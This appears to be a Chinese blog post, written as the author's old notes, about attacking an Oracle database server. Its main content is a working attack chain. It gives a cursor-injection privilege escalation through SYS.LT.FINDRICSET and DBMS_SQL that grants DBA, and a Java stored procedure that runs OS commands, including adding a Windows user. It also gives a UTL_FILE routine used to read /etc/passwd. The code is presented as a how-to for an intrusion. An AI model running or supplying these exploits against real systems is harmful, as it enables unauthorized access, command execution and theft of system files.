当前位置: 首页 > news >正文

Hacking Oracle 之光标注射

最终编辑  linx2008

这是两年前的一篇笔记。内容有删减。

先是通过某个邪恶的方法连接了oracle服务器......(过程略)


很快便连接上oracle服务器,此时发现:
1.连接后不是dba权限
2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限
3.运行SELECT UTL_HTTP.request('http://xxxxxxxxxxx/login.jsp') FROM dual 后发现oracle服务器不能连接网络。


幸运的是,
运行
create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

成功!这个用户具有create proceduce权限。

此时马上想到创建java扩展执行命令:

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"/n";myReader.close();return str;} catch (Exception e){return e.toString();}}}


begin dbms_java.grant_permission('PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );end;

create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name 'LinxUtil.runCMD(java.lang.String) return String'

select  * from all_objects where  object_name like '%LINX%'
grant all on LinxRunCMD to public
select  LinxRunCMD('cmd /c net user linx /add') from dual


但是在第一步就卡住了,服务器由于某种未知原因 不能创建java扩展!!
还好,我们还有UTL库可以利用:

create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is
fHandler UTL_FILE.FILE_TYPE;
buf      varchar2(4000);
output      varchar2(8000);
BEGIN
fHandler := UTL_FILE.FOPEN('UTL_FILE_DIR', filename, 'r');
loop   
begin   
utl_file.get_line(fHandler,buf);   
DBMS_OUTPUT.PUT_LINE('Cursor: '||buf);
exception     
when   no_data_found   then   exit;   
end;   
output := output||buf||chr(10);
end   loop;   
UTL_FILE.FCLOSE(fHandler);
return output;
END;


UTL_FILE_DIR需要先用:

CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';

指定目录。但运行后发现没有权限。只好想办法提权。


***************游标注射***************

老外写了N个pdf介绍这技术,我精简了代码:


DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''GRANT DBA TO linxlinx_current_db_user'';commit;end;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
BEGIN SYS.LT.FINDRICSET('.''||dbms_sql.execute(    '||MYC||'      )||'''')--','x'); END;
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);    
END;


运行后重新连接就有dba权限了,简单吧......


现在可以读取文件了:


CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';
select LinxUTLReadfile('passwd') from dual


后面就简单了,不写了。

相关文章:

  • 传说中的自动处理IIS权限的批处理文件
  • 用PHP写的简单登陆首页
  • 用PHP写的POP3电子邮件收取流程
  • linux下安装sniffit
  • linux mail命令
  • 网站不允许上传asp cer cdx htr等文件时
  • WINDOWS服务器安全设置
  • 全面封杀WVS扫描器扫描网站目录
  • webIPS防止扫描软件扫描网站
  • Linux 服务器安全配置
  • MSSQL安全设置的具体步骤和方法
  • Linux菜鸟入门级命令大全
  • ubuntu 10.10正式版
  • 菜鸟入门 Ubuntu 常用命令收集
  • 一系列测试技术
  • 《Javascript数据结构和算法》笔记-「字典和散列表」
  • 4. 路由到控制器 - Laravel从零开始教程
  • Django 博客开发教程 16 - 统计文章阅读量
  • fetch 从初识到应用
  • k8s如何管理Pod
  • Redis提升并发能力 | 从0开始构建SpringCloud微服务(2)
  • Shell编程
  • Vue.js-Day01
  • 蓝海存储开关机注意事项总结
  • 实战|智能家居行业移动应用性能分析
  • 首页查询功能的一次实现过程
  • 思考 CSS 架构
  • 它承受着该等级不该有的简单, leetcode 564 寻找最近的回文数
  • 微信开源mars源码分析1—上层samples分析
  • 小试R空间处理新库sf
  • 源码安装memcached和php memcache扩展
  • 怎样选择前端框架
  • 【运维趟坑回忆录】vpc迁移 - 吃螃蟹之路
  • Spark2.4.0源码分析之WorldCount 默认shuffling并行度为200(九) ...
  • #{}和${}的区别是什么 -- java面试
  • #162 (Div. 2)
  • #ubuntu# #git# repository git config --global --add safe.directory
  • $分析了六十多年间100万字的政府工作报告,我看到了这样的变迁
  • (C语言)二分查找 超详细
  • (附源码)spring boot智能服药提醒app 毕业设计 102151
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (实战篇)如何缓存数据
  • (原)Matlab的svmtrain和svmclassify
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .Net 知识杂记
  • .NET/ASP.NETMVC 深入剖析 Model元数据、HtmlHelper、自定义模板、模板的装饰者模式(二)...
  • .NET/C# 获取一个正在运行的进程的命令行参数
  • .net访问oracle数据库性能问题
  • .vue文件怎么使用_我在项目中是这样配置Vue的
  • [ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504
  • [20170713] 无法访问SQL Server
  • [Android View] 可绘制形状 (Shape Xml)
  • [Angular 基础] - 自定义指令,深入学习 directive
  • [Angular] 笔记 20:NgContent
  • [AutoSar]BSW_Memory_Stack_003 NVM与APP的显式和隐式同步